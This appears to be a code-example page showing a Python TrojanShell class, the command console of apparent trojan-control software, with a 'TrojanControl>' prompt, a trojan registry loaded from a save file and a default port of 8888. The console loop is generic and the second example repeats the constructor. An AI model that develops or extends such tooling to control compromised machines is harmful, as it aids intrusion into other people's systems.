Пример #1
0
class TrojanShell(Shell):
    def __init__(self, commandfolder, supershell=None):
        # initializing the parent class
        super(TrojanShell, self).__init__(commandfolder, supershell)
        # the default port on which the trojans operate usually
        self.port = 8888
        if supershell is None:
            self.trojanregister = TrojanRegister()
            self.trojanlist = TrojanList()
            # updating the shell command prompt
            self.prompt = "\n TrojanControl> "
            # loading the registered trojans from the save file
            self.trojanlist.load_registered_trojans("trojans")
            self.trojanlist.load_available_trojans()
        elif isinstance(supershell, TrojanShell):
            self.trojanregister = supershell.trojanregister
            self.trojanlist = supershell.trojanlist

    def run(self):
        """
        the main method of the shell running the infinite loop, continuesly prompting for a command, then attempting to
        execute the issued command
        :return: (void)
        """
        # opening the infinite loop inside of a try statement, so that the SystemExit Exception can be caught
        try:
            while True:
                # first fetching the user input
                print(self.prompt[:-2] + Colors.MAGENTA + self.prompt[-2:] + Colors.WHITE, end="")
                command = input()

                if command == "exit":
                    if self.supershell is None:
                        sys.exit()
                    else:
                        break
                # skipping the whole procedure in case the command prompt is empty
                if command != "" and command != " ":
                    # then converting the command into a token list via the parse method
                    tokenlist = self.parser.parse(command)
                    # checking for any potential errors
                    try:
                        self.analyzer.analyze(tokenlist, command)
                        # in case the analyzer didnt raise any errors attempting to execute the tokenlist
                        last_process = self.executer.execute(tokenlist)
                        while not (last_process.status == "terminated"):
                            pass
                        if last_process.is_foreground():
                            if last_process.output is not None and not last_process.output == "":
                                if last_process.exit_status is True:
                                    print(Message("result", last_process.output).message)
                                elif last_process.exit_status is False:
                                    print(last_process.output)
                    except error.SyntaxError as e:
                        print(e.message.message)
        except SystemExit:
            self.trojanregister.clear()
Пример #2
0
 def __init__(self, commandfolder, supershell=None):
     # initializing the parent class
     super(TrojanShell, self).__init__(commandfolder, supershell)
     # the default port on which the trojans operate usually
     self.port = 8888
     if supershell is None:
         self.trojanregister = TrojanRegister()
         self.trojanlist = TrojanList()
         # updating the shell command prompt
         self.prompt = "\n TrojanControl> "
         # loading the registered trojans from the save file
         self.trojanlist.load_registered_trojans("trojans")
         self.trojanlist.load_available_trojans()
     elif isinstance(supershell, TrojanShell):
         self.trojanregister = supershell.trojanregister
         self.trojanlist = supershell.trojanlist